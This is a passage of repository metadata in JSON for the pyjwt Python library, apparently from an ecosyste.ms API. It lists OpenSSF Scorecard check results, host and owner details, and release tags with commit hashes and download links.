using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitH